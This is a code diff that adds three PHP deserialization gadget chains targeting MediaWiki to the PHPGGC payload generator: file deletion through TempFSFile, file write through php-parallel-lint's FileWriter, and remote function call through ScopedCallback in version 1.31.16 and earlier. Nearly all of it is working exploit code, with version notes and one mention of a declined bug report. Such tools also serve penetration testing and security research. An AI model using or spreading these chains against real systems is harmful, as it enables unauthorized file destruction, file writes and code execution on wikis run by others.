MediaWiki FD1, FW1, and RCE1

gadgetchains/MediaWiki/FD/1/chain.php

@@ -0,0 +1,21 @@
+<?php
+
+namespace GadgetChain\MediaWiki;
+
+class FD1 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = '1.21.0+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'Reported - but declined - at:
+    https://phabricator.wikimedia.org/T389781';
+
+    public function generate(array $parameters)
+    {
+        return (
+            new \Wikimedia\FileBackend\FSFile\TempFSFile(
+                $parameters['remote_path'],
+            )
+        );
+    }
+}

gadgetchains/MediaWiki/FD/1/gadgets.php

@@ -0,0 +1,16 @@
+<?php
+
+namespace Wikimedia\FileBackend\FSFile {
+    class TempFSFile {
+        /** @var bool Garbage collect the temp file */
+        protected $canDelete = TRUE;
+
+        /** @var string Path to file */
+        protected $path;        
+
+        function __construct($path)
+        {
+            $this->path = $path;
+        }
+    }
+}

gadgetchains/MediaWiki/FW/1/chain.php

@@ -0,0 +1,23 @@
+<?php
+
+namespace GadgetChain\MediaWiki;
+
+class FW1 extends \PHPGGC\GadgetChain\FileWrite
+{
+    public static $version = '1.25.0+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'php-parallel-lint is a dev dependency of
+    MediaWiki so should not be installed in Production, but might be.';
+
+    public function generate(array $parameters)
+    {
+        return (
+            new \JakubOnderka\PhpParallelLint\FileWriter(  // master branch
+            // new \PHP_Parallel_Lint\PhpParallelLint\Writers\FileWriter(  // develop branch
+                $parameters['remote_path'],
+                $parameters['data'],
+            )
+        );
+    }
+}

gadgetchains/MediaWiki/FW/1/gadgets.php

@@ -0,0 +1,36 @@
+<?php
+
+namespace JakubOnderka\PhpParallelLint {
+    class FileWriter {
+        /** @var string */
+        protected $logFile;
+
+        /** @var string */
+        protected $buffer;
+
+        function __construct($logFile, $buffer)
+        {
+            $this->logFile = $logFile;
+            $this->buffer = $buffer;
+        }
+    }
+}
+
+/* pretty much exactly the same code in the develop branch:
+https://github.com/php-parallel-lint/PHP-Parallel-Lint/blob/develop/src/Writers/FileWriter.php
+*/
+namespace PHP_Parallel_Lint\PhpParallelLint\Writers {
+    class FileWriter {
+        /** @var string */
+        protected $logFile;
+
+        /** @var string */
+        protected $buffer;
+
+        function __construct($logFile, $buffer)
+        {
+            $this->logFile = $logFile;
+            $this->buffer = $buffer;
+        }
+    }
+}

gadgetchains/MediaWiki/RCE/1/chain.php

@@ -0,0 +1,22 @@
+<?php
+
+namespace GadgetChain\MediaWiki;
+
+class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '<= 1.31.16';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'Protection was added to ScopedCallback in:
+    https://www.mediawiki.org/wiki/Release_notes/1.32 but 1.31 was an LTS that
+    was supported until 2021. Early versions of the class did not accept params
+    but could be used to call phpinfo(), for example.';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \Wikimedia\ScopedCallback($function, $parameter);
+    }
+}

gadgetchains/MediaWiki/RCE/1/gadgets.php

@@ -0,0 +1,15 @@
+<?php
+
+namespace Wikimedia {
+    class ScopedCallback
+    {
+        protected $callback;
+        protected $params;
+
+        function __construct($callback, $params)
+        {
+            $this->callback = $callback;
+            $this->params = array($params);
+        }
+    }
+}